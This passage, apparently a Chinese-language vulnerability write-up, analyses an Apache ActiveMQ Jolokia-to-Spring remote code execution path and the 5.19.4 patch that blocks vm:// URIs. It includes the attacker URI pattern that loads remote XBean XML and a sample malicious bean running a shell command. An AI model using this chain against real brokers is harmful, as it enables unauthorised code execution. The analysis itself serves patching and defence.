loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); } ``` 然后,Spring 的 `AbstractApplicationContext.refresh()` 初始化 bean 工厂并实例化非懒加载的单例 bean: ``` // org/springframework/context/support/AbstractApplicationContext.java // Instantiate all remaining (non-lazy-init) singletons. finishBeanFactoryInitialization(beanFactory); ``` `finishBeanFactoryInitialization()` 调用: ``` beanFactory.preInstantiateSingletons(); ``` `DefaultListableBeanFactory.preInstantiateSingletons()` 创建每个非抽象、单例、非懒加载的 bean: ``` for (String beanName : beanNames) { RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName); if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) { ... getBean(beanName); } } ``` 在 bean 初始化期间,Spring 调用自定义初始化方法: ``` // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... } ``` 自定义初始化方法从 bean 定义中解析: ``` String initMethodName = mbd.getInitMethodName(); if (StringUtils.hasLength(initMethodName) && !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) && !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) { invokeCustomInitMethod(beanName, bean, mbd); } ``` `invokeCustomInitMethod()` 反射调用该方法: ``` ReflectionUtils.makeAccessible(methodToInvoke); methodToInvoke.invoke(bean); ``` 一个恶意的 Spring XML bean,例如: ``` sh -c touch /tmp/blahblah.txt ``` 会导致以下行为: ``` ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start() ``` 这发生在 `XBeanBrokerFactory.createBroker()` 通过查找 `BrokerService` bean 来验证生成的上下文之前: ``` ApplicationContext context = createApplicationContext(uri); BrokerService broker = null; try { broker = (BrokerService)context.getBean("broker"); } catch (BeansException e) { } if (broker == null) { String[] names = context.getBeanNamesForType(BrokerService.class); ... } if (broker == null) { throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config); } ``` Broker 验证发生在 Spring 上下文刷新之后。因此,一个配置可以执行任意的初始化方法,但稍后仍可能作为无效的 broker 配置被拒绝。 ### 根本原因分析 根本原因是远程可调用的管理操作与受信任的本地 broker 引导机制之间存在不安全的架构桥接。 易受攻击的设计具有以下特性: - Jolokia 为 ActiveMQ broker 管理 MBean 暴露了 JMX `exec` 操作。 - `BrokerView.addNetworkConnector(String)` 接受攻击者控制的 URI 输入。 - 该 URI 在没有管理平面对危险传输方案限制的情况下被传递到 ActiveMQ 网络代码中。 - `static:(...)` 发现导致封闭的 URI 在网络连接器启动时自动连接。 - `vm://` 传输不仅是一种 VM 内传输;它还支持在指定的 VM broker 不存在时自动创建 broker。 - `VMTransportFactory` 将 `brokerConfig` 视为 broker 工厂 URI,并将其转发给 `BrokerFactory.createBroker()`。 - `BrokerFactory` 通过 `XBeanBrokerFactory` 支持 `xbean:` URI。 - `XBeanBrokerFactory` 接受 URL 资源并构造一个 Spring `ResourceXmlApplicationContext`。 - Spring 在上下文刷新期间急切实例化单例 bean 并调用自定义初始化方法。 - ActiveMQ 仅在 Spring 已经初始化上下文之后,才检查上下文是否包含有效的 `BrokerService`。 这不仅仅是独立的“输入验证不当”。易受攻击的行为是由于通过运行时 JMX 操作暴露了一个支持配置的 URI 解释器,并允许该解释器到达 Spring bean 生命周期执行而引起的。 确切的失败点是,管理 API 将 `discoveryAddress` 视为连接器地址,但下游传输堆栈将其视为可执行配置。在利用路径中,该字符串被求值为: ``` network connector URI -> discovery service URI -> VM transport URI -> broker creation URI -> XBean Spring resource URI -> Spring bean definitions -> Java object lifecycle methods ``` 验证发生得太晚,因为 `XBeanBrokerFactory` 中唯一的 broker 配置验证发生在: ``` new ResourceXmlApplicationContext(resource) ``` 之后,并且该构造函数执行: ``` refresh() -> preInstantiateSingletons() -> init-method invocation ``` 等到 ActiveMQ 确定该 XML 没有有效的 `BrokerService` 时,攻击者控制的 Spring bean 可能已经执行了。 ### 补丁分析 相关的差异已通过以下方式审查: ``` git diff activemq-5.18.6..activemq-5.19.4 ``` 安全相关的更改位于: ``` activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java ``` 在 5.18.6 中,`addNetworkConnector()` 直接转发该字符串: ``` public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); ... connector.start(); return connector.getName(); } ``` 在 5.19.4 中,在调用 `BrokerService` 之前添加了验证: ``` public String addNetworkConnector(String discoveryAddress) throws Exception { + // Verify VM transport is not used + validateAllowedUrl(discoveryAddress); NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); ``` 相同的验证被添加到了 `addConnector()` 中: ``` public String addConnector(String discoveryAddress) throws Exception { + // Verify VM transport is not used + validateAllowedUrl(discoveryAddress); TransportConnector connector = brokerService.addConnector(discoveryAddress); ``` 验证器拒绝 `vm` 传输方案: ``` private static void validateAllowedUrl(String uriString) throws URISyntaxException { validateAllowedUri(new URI(uriString), 0); } // Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); } // First check the main URI scheme validateAllowedScheme(uri.getScheme()); // If composite, iterate and check each of the composite URIs if (URISupport.isCompositeURI(uri)) { URISupport.CompositeData data = URISupport.parseComposite(uri); depth++; for (URI component : data.getComponents()) { if (URISupport.isCompositeURI(uri)) { validateAllowedUri(component, depth); } else { validateAllowedScheme(uri.getScheme()); } } } } // We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } } ``` 修补后的执行路径变为: ``` Jolokia exec -> BrokerView.addNetworkConnector(String) -> validateAllowedUrl(String) -> validateAllowedUri(URI) -> validateAllowedScheme("vm") -> IllegalArgumentException("VM scheme is not allowed") ``` 这在请求到达以下位置之前就阻止了利用: ``` BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh() ``` 该补丁并未全局移除 VM 传输支持。它限制了通过面向 JMX 的 `BrokerView` 连接器创建方法使用 `vm://`。使用 VM 传输的内部或受信任代码路径仍然存在。 在 5.18.6 和 5.19.4 之间,未对 `VMTransportFactory.doCompositeConnect()` 进行安全相关的更改。`brokerConfig` 行为保持不变: ``` String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } ... broker = BrokerFactory.createBroker(brokerURI); ``` 在此差异中,未对 `XBeanBrokerFactory.createApplicationContext()` 进行安全相关的更改。远程 URL 资源和 Spring `ResourceXmlApplicationContext` 行为仍然可用于受信任的 broker 配置加载。 `BrokerFactory` 从原始的 `FactoryFinder` 更改为类型化的 `FactoryFinder`: ``` - private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER = - new FactoryFinder("META-INF/services/org/apache/activemq/broker/"); + private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER + = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/", + BrokerFactoryHandler.class, null); ``` 这是类型安全清理,而非 RCE 缓解。基于方案到 `XBeanBrokerFactory` 的分派仍然存在。 `BrokerService` 在某些路径中为连接器启动添加了 `isAutoStart()` 检查: ``` - connector.start(); + if(connector.isAutoStart()) { + connector.start(); + } ``` 这不是针对 Jolokia 到 RCE 路径的主要修复。主要的缓解措施是在 `BrokerView` 中预分派拒绝 `vm://`。 补丁行为摘要: - 5.18.6:`BrokerView.addNetworkConnector()` 接受 `static:(vm://...?brokerConfig=xbean:http://...)` 并将其传递到下游。 - 5.19.4:`BrokerView.addNetworkConnector()` 在创建连接器之前验证提供的 URI,并拒绝嵌套的 `vm://` 使用。 - 5.18.6:`VMTransportFactory` 可以消耗从 JMX 路径到达的攻击者控制的 `brokerConfig`。 - 5.19.4:`VMTransportFactory` 仍然支持 `brokerConfig`,但暴露的 JMX 路径在 VM 传输解析之前即被阻止。 ### 静态分析结论 ActiveMQ Classic 5.18.6 中确切的易受攻击代码路径是: ``` HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start() ``` 利用之所以可能,是因为 ActiveMQ 暴露了一个接受连接器 URI 的管理操作,但下游传输实现可以将该 URI 解释为 broker 创建配置。`brokerConfig` 参数从传输连接逻辑跨越到 broker 工厂逻辑。使用 `xbean:` 值时,它再次跨越到 Spring XML 处理。 Spring 执行原语不是单独的反序列化 bug。它是正常的 Spring 生命周期行为:一个非懒加载的单例 bean 在上下文刷新期间被实例化,并且其配置的 `init-method` 被调用。因此,一个配置了 `init-method="start"` 的 `java.lang.ProcessBuilder` bean 会在应用程序上下文初始化期间执行一个进程。 验证失败是一个顺序缺陷。ActiveMQ 仅在 `ResourceXmlApplicationContext` 已经加载 XML 并初始化单例 bean 之后,才验证 XBean 配置是否包含可用的 `BrokerService`。在刷新之后拒绝 broker 配置并不能撤销 bean 生命周期方法的副作用。 5.19.4 补丁通过在 `BrokerView` 中创建连接器之前添加 URI 验证并拒绝通过 JMX 管理表面使用 `vm://` 传输,缓解了此特定路径。该补丁阻止了暴露到 `VMTransportFactory.doCompositeConnect()` 的路径;它并未从受信任的内部配置路径中移除 `brokerConfig`、`xbean:` 支持或 Spring XBean 加载。
标签:ActiveMQ, CVE-2026-34197, Docker, Jolokia, JS文件枚举, Payload, Python, Spring XML, VM Transport, 利用代码, 安全测试, 安全防御评估, 情报收集, 攻击性安全, 无后门, 服务漏洞, 概念验证, 漏洞研究, 编程工具, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护